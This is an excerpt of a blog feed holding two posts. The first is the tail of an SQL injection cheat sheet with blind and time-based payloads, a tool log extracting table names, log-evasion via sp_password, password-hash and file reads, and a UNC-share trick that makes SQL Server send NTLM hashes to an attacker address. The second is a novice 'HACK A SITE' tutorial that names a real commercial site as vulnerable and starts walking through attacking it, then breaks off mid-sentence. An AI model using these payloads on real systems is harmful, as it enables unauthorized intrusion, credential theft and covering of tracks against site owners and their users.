class="idea"&gt;&lt;b&gt;Normal Blind&lt;/b&gt;, You can not see a response in the page but you can still determine result of a query from response or HTTP status code &lt;br /&gt;&lt;b&gt;Totally Blind&lt;/b&gt;, You can not see any difference in the output in any kind. This can be an &lt;span class="hilite"&gt;injection&lt;/span&gt; a logging function or similar. Not so common though. &lt;/div&gt;&lt;div class="idea"&gt;In normal blinds you can use &lt;b&gt;if statements&lt;/b&gt; or abuse &lt;b&gt;WHERE query in &lt;/b&gt;&lt;span class="hilite"&gt;&lt;b&gt;injection&lt;/b&gt;&lt;/span&gt; (&lt;i&gt;generally easier&lt;/i&gt;), in totally blinds you need to use some waiting functions and analyze response times. For this you can use &lt;b&gt;WAIT FOR DELAY '0:0:10' &lt;/b&gt;in &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server, BENCHMARK() in &lt;span class="hilite"&gt;MySQL&lt;/span&gt;, &lt;b&gt;pg_sleep(10) &lt;/b&gt;in &lt;span class="hilite"&gt;PostgreSQL&lt;/span&gt;, and some PL/&lt;span class="hilite"&gt;SQL&lt;/span&gt; tricks in ORACLE.&lt;/div&gt;&lt;h4&gt;&lt;a href="http://www.blogger.com/post-create.do" name="BSQLAttackSamples"&gt;&lt;/a&gt;Real and a bit Complex Blind &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injection&lt;/span&gt; Attack Sample&lt;/h4&gt;&lt;div class="idea"&gt;This output taken from a real private Blind &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injection&lt;/span&gt; tool while exploiting &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server back ended application and enumerating table names. This requests done for first char of the first table name. &lt;span class="hilite"&gt;SQL&lt;/span&gt; queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm. &lt;/div&gt;&lt;div class="idea"&gt;&lt;b&gt;&lt;i&gt;TRUE&lt;/i&gt;&lt;/b&gt;&lt;i&gt; and &lt;/i&gt;&lt;b&gt;&lt;i&gt;FALSE&lt;/i&gt;&lt;/b&gt;&lt;i&gt; flags mark queries returned true or false. &lt;/i&gt;&lt;/div&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;TRUE&lt;/span&gt;&lt;/b&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&amp;gt;78-- &lt;/span&gt;&lt;/code&gt;&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;FALSE&lt;/b&gt;&lt;code&gt; : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&amp;gt;103-- &lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;TRUE&lt;/b&gt;&lt;code&gt; : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&amp;lt;103-- &lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;FALSE&lt;/b&gt;&lt;code&gt; : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&amp;gt;89-- &lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;TRUE&lt;/b&gt;&lt;code&gt; : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&amp;lt;89--&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;FALSE&lt;/b&gt;&lt;code&gt; : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&amp;gt;83-- &lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;TRUE&lt;/b&gt;&lt;code&gt; : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&amp;lt;83-- &lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;FALSE&lt;/b&gt;&lt;code&gt; : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&amp;gt;80-- &lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;FALSE&lt;/b&gt;&lt;code&gt; : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&amp;lt;80-- &lt;/code&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="idea"&gt;Since both of the &lt;b&gt;last 2 queries failed &lt;/b&gt;we clearly know table name's first char's &lt;b&gt;ascii value is 80 which means first char is `P`&lt;/b&gt;. This is the way to exploit Blind &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;injections&lt;/span&gt; by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions. &lt;/div&gt;&lt;h3&gt;&amp;nbsp;&lt;/h3&gt;&lt;h3&gt;Waiting For Blind &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injections&lt;/span&gt;&lt;/h3&gt;First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.&lt;br /&gt;&lt;h4&gt;WAIT FOR DELAY 'time' (S) &lt;/h4&gt;This is just like sleep, wait for spesified time. CPU safe way to make database wait. &lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;WAITFOR DELAY '0:0:10'--&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;Also you can use fractions like this,&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;WAITFOR DELAY '0:0:0.51'&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;h4&gt;Real World Samples &lt;/h4&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;Are we 'sa' ?&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;if (select user) = 'sa' waitfor delay      '0:0:10' &lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;ProductID = &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;1;waitfor delay '0:0:10'--&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;ProductID =&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;1);waitfor delay '0:0:10'--&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;ProductID =&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;1';waitfor delay '0:0:10'--&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;ProductID =&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;1');waitfor delay '0:0:10'--&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;ProductID =&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;1));waitfor delay '0:0:10'--&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;ProductID =&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;1'));waitfor delay '0:0:10'--&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;BENCHMARK() (M)&lt;/h4&gt;Basically we are abusing this command to make &lt;span class="hilite"&gt;MySQL&lt;/span&gt; wait a bit. Be careful you will consume web servers limit so fast!&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;BENCHMARK(howmanytimes, do this)&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;h4&gt;Real World Samples &lt;/h4&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;Are we root ? woot!&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;IF EXISTS (SELECT * FROM users WHERE      username = 'root') BENCHMARK(1000000000,MD5(1))&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;Check Table exist in &lt;span class="hilite"&gt;MySQL&lt;/span&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;IF (SELECT * FROM login)      BENCHMARK(1000000,MD5(1))&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;pg_sleep(seconds) (P)&lt;/h4&gt;&lt;div class="idea"&gt;Sleep for supplied seconds. &lt;/div&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT pg_sleep(10); &lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;span class="idea1"&gt;Sleep 10 seconds. &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Covering Tracks&lt;/h2&gt;&lt;h4&gt;&lt;span class="hilite"&gt;SQL&lt;/span&gt; Server -sp_password log bypass (S) &lt;/h4&gt;&lt;span class="hilite"&gt;SQL&lt;/span&gt; Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server logs (&lt;i&gt;of course still will be in web server logs&lt;/i&gt;, &lt;i&gt;try to use POST if it's possible&lt;/i&gt;) &lt;br /&gt;&lt;h2&gt;Clear &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injection&lt;/span&gt; Tests&lt;/h2&gt;These tests are simply good for blind &lt;span class="hilite"&gt;sql&lt;/span&gt; &lt;span class="hilite"&gt;injection&lt;/span&gt; and silent attacks.&lt;br /&gt;&lt;ol start="1" type="1"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;product.asp?id=4 (SMO) &lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;ol start="1" type="a"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;product.asp?id=5-1&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;product.asp?id=4 OR 1=1&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;product.asp?name=Book&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;&lt;ol start="2" type="1"&gt;&lt;ol start="1" type="a"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;product.asp?name=Bo’%2b’ok&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;product.asp?name=Bo’ || ’ok (&lt;/span&gt;&lt;/code&gt;&lt;i&gt;&lt;span style="font-size: 10pt;"&gt;OM&lt;/span&gt;&lt;/i&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;product.asp?name=Book’ OR ‘x’=’x&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;h2&gt;Some Extra &lt;span class="hilite"&gt;MySQL&lt;/span&gt; Notes &lt;/h2&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;Sub Queries are working only      &lt;span class="hilite"&gt;MySQL&lt;/span&gt; 4.1+ &lt;/li&gt;&lt;li class="MsoNormal"&gt;Users &lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT User,Password FROM &lt;/span&gt;&lt;/code&gt;&lt;span class="hilite"&gt;&lt;span style="font-size: 10pt;"&gt;mysql&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;.user;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT 1,1 UNION SELECT      IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password      FROM &lt;/span&gt;&lt;/code&gt;&lt;span class="hilite"&gt;&lt;span style="font-size: 10pt;"&gt;mysql&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;.user WHERE User = ‘root’;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT ... INTO DUMPFILE&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;Write query into a &lt;/span&gt;&lt;/code&gt;&lt;b&gt;&lt;span style="font-size: 10pt;"&gt;new file &lt;/span&gt;&lt;/b&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;(&lt;/span&gt;&lt;/code&gt;&lt;i&gt;&lt;span style="font-size: 10pt;"&gt;can not modify existing file&lt;/span&gt;&lt;/i&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;s)&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li class="MsoNormal"&gt;UDF Function&lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;create function LockWorkStation returns integer       soname 'user32';&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;select LockWorkStation();&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;create function ExitProcess returns integer       soname 'kernel32';&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;select exitprocess();&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT USER();&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT password,USER() FROM &lt;/span&gt;&lt;/code&gt;&lt;span class="hilite"&gt;&lt;span style="font-size: 10pt;"&gt;mysql&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;.user;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;First byte of admin hash&lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT SUBSTRING(user_password,1,1) FROM       mb_users WHERE user_group = 1;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li class="MsoNormal"&gt;Read File &lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li class="MsoNormal"&gt;&lt;span class="hilite"&gt;MySQL&lt;/span&gt;      Load Data inifile &lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal"&gt;&lt;b&gt;By default       it’s not avaliable !&lt;/b&gt; &lt;/li&gt;&lt;ul type="square"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;create table foo( line blob );&lt;/span&gt;&lt;/code&gt;&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;code&gt;load data infile 'c:/boot.ini' into table foo;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;select * from foo;&lt;/code&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;li class="MsoNormal"&gt;More Timing in &lt;span class="hilite"&gt;MySQL&lt;/span&gt; &lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;select benchmark( 500000, sha1( 'test' ) );&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;query.php?user=1+union+select+benchmark(500000,sha1      (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 &lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;select if( user() like 'root@%',      benchmark(100000,sha1('test')), 'false' );&lt;/span&gt;&lt;/code&gt;&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;b&gt;Enumeration data, Guessed Brute Force&lt;/b&gt; &lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;select if( (ascii(substring(user(),1,1))       &amp;gt;&amp;gt; 7) &amp;amp; 1, benchmark(100000,sha1('test')), 'false' );&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;h4&gt;Potentially Useful &lt;span class="hilite"&gt;MySQL&lt;/span&gt; Functions&lt;/h4&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;MD5()&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;span class="idea1"&gt;MD5 Hashing &lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SHA1()&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;span class="idea1"&gt;SHA1 Hashing &lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;PASSWORD()&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;ENCODE()&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;COMPRESS()&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;span class="idea1"&gt;Compress data, can be great in large binary reading in      Blind &lt;/span&gt;&lt;span class="hilite"&gt;SQL&lt;/span&gt;&lt;span class="idea1"&gt; &lt;/span&gt;&lt;span class="hilite"&gt;Injections&lt;/span&gt;&lt;span class="idea1"&gt;.&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;ROW_COUNT()&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SCHEMA()&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;VERSION()&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;span class="idea1"&gt;Same as &lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;@@version&lt;/span&gt;&lt;/code&gt;      &lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Second Order &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injections&lt;/span&gt;&lt;/h2&gt;Basically you put an &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injection&lt;/span&gt; to some place and expect it's unfiltered in another action. This is common hidden layer problem. &lt;br /&gt;Name :&amp;nbsp;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; ' + (SELECT TOP 1 password FROM users ) + ' &lt;/span&gt;&lt;/code&gt;&lt;br /&gt;Email :&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; &lt;a href="mailto:xx@xx.com"&gt;xx@xx.com&lt;/a&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.&lt;br /&gt;&lt;h3&gt;Forcing &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server to get NTLM Hashes &lt;/h3&gt;&lt;div class="idea"&gt;This attack can help you to get &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain &amp;amp; Abel.&lt;/div&gt;&lt;h4&gt;Bulk insert from a UNC Share (S)&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;bulk insert foo from '\\YOURIPADDRESS\C$\x.txt' &lt;/span&gt;&lt;/code&gt;&lt;/h4&gt;&lt;div class="idea"&gt;Check out Bulk Insert Reference to understand how can you use bulk insert. &lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-8362686975454981392?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/8362686975454981392/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/04/about-sql-injection-cheat-sheet.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/8362686975454981392'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/8362686975454981392'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/04/about-sql-injection-cheat-sheet.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-3966200403826614409</id><published>2010-04-03T04:11:00.000-07:00</published><updated>2010-04-03T04:11:39.775-07:00</updated><title type='text'></title><content type='html'>&lt;div style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-large;"&gt;&amp;nbsp;HACK A SITE&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;For my purposes, i will use www.buysellusa.net as an example, this site is hackable.&lt;br /&gt;if you try on this site, and it does NOT work, that means either i spelt the url wrong (silly me) or that the site has been fixed&lt;br /&gt;&lt;br /&gt;Dont be to harsh on me for making it so nooby, i didnt get any of the articles explaining sql injections when i was first learning&lt;br /&gt;if you get lost, keep reading, it might explain what you do not understand ahead.&lt;br /&gt;&lt;br /&gt;Well, yeah, self explanitory. OK, here, in this article, i will teach you how to hack a website.&lt;br /&gt;The method we are going to use is called mysql injection. Sql mean, "structured query language".&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;What this means, is that this programming language lets you send queries (a request for information and such) to a database and access hidden, or "confidential files" such as passwords, and usernames, if you catch my drift. A database is an orginized body of related data, or in simpler terms, like all the vital info stored on the website, and vital coding, or "scripting"(the programming) i think (im not very smart). Well, when making a mysql injection, you have to determine (find out) wether or not a site is vulnerable first (vulnerable, as in, you can make a proper mysql injection, or more simplified, if the web site can be hacked). To find out wether or not a site is vulnerable, you need to change the url. Simple isnt it. But, to get proper results, you need to find a url, that contains a VARIABLE &amp;lt;--------this is VERY important) An example of a url that contains a variable, is&lt;br /&gt;&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10&lt;br /&gt;&lt;br /&gt;The variable in this Url (website adress) is "cat_id=10"&lt;br /&gt;A variable is a snipet of code or information that is assigned a value. like for example&lt;br /&gt;&lt;br /&gt;tom=1&lt;br /&gt;&lt;br /&gt;now, lets say this;&lt;br /&gt;&lt;br /&gt;1+tom=2&lt;br /&gt;&lt;br /&gt;do you understand?&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;it is a value pretty much. The value of this variable "cat_id=10" is 10.&lt;br /&gt;Now, to determine wether or not you CAN hack this site. What you need to do, is make a change to the url, like i said before&lt;br /&gt;now, this url, "http://buysellusa.net/classifieds/showCat.php?cat_id=10" must have something ADDED to it. At the end of the url,&lt;br /&gt;add ' thats right, just add '&lt;br /&gt;so the new url is:&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10'&lt;br /&gt;now if the site you want to hack is vulnerable, you should get and error message on the page. there are other ways to determine wether or not a site is vulnerable to mysql injections, dont get me wrong, but for my purposes, this is the way i will show you.&lt;br /&gt;&lt;br /&gt;Now, on this particular url, when you add the magical character ' you should get an error message, something simaler to this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/buysell/domains/buysellusa.net/public_html/classifieds/showCat.php on line 57&lt;br /&gt;You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\'' at line 1&lt;br /&gt;Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/buysell/domains/buysellusa.net/classifieds2/lib/func_tree.php on line 424&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/buysell/domains/buysellusa.net/public_html/classifieds/showCat.php on line 85&lt;br /&gt;You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND std_items.cat_id=std_categories.cat_id LIMIT&lt;br /&gt;Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/buysell/domains/buysellusa.net/classifieds2/lib/func_getResults.php on line 143&lt;br /&gt;&lt;br /&gt;now remember, this is very vauge. It can be almost anything, as long as it mentions MySQL. If it mentions some random crap about vb its not vulnerable (AS FAR AS I KNOW)&lt;br /&gt;&lt;br /&gt;now when you get that error your in buisness. This means your target site, or the site im using as an example, is vulnerable! HURRAY! now you can get to the hacking&lt;br /&gt;&lt;br /&gt;ok next you need to find the number of columns. This i dont fully understand myself, like i said, i am an uber noob.&lt;br /&gt;I THINK what the columns are, are the columns of data inside a chart. Like a chart stored within the database, that can hold like, usernames , or passwords. Anyhow you need to find out how many there are (how many columns for what chart? wtf im confused too, you just have to do it)&lt;br /&gt;&lt;br /&gt;ok; to find the amount of charts, you have to use the statement in SQL which is" order by" , this tells the database how to order the results (im still confused, your not alone)&lt;br /&gt;&lt;br /&gt;now, in the url, delete you magical character ' i know, it dosent deserve it, but do you want to hack or not? ok now the url is once again&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10&lt;br /&gt;Now, add the "Order by" command to the end&lt;br /&gt;so the 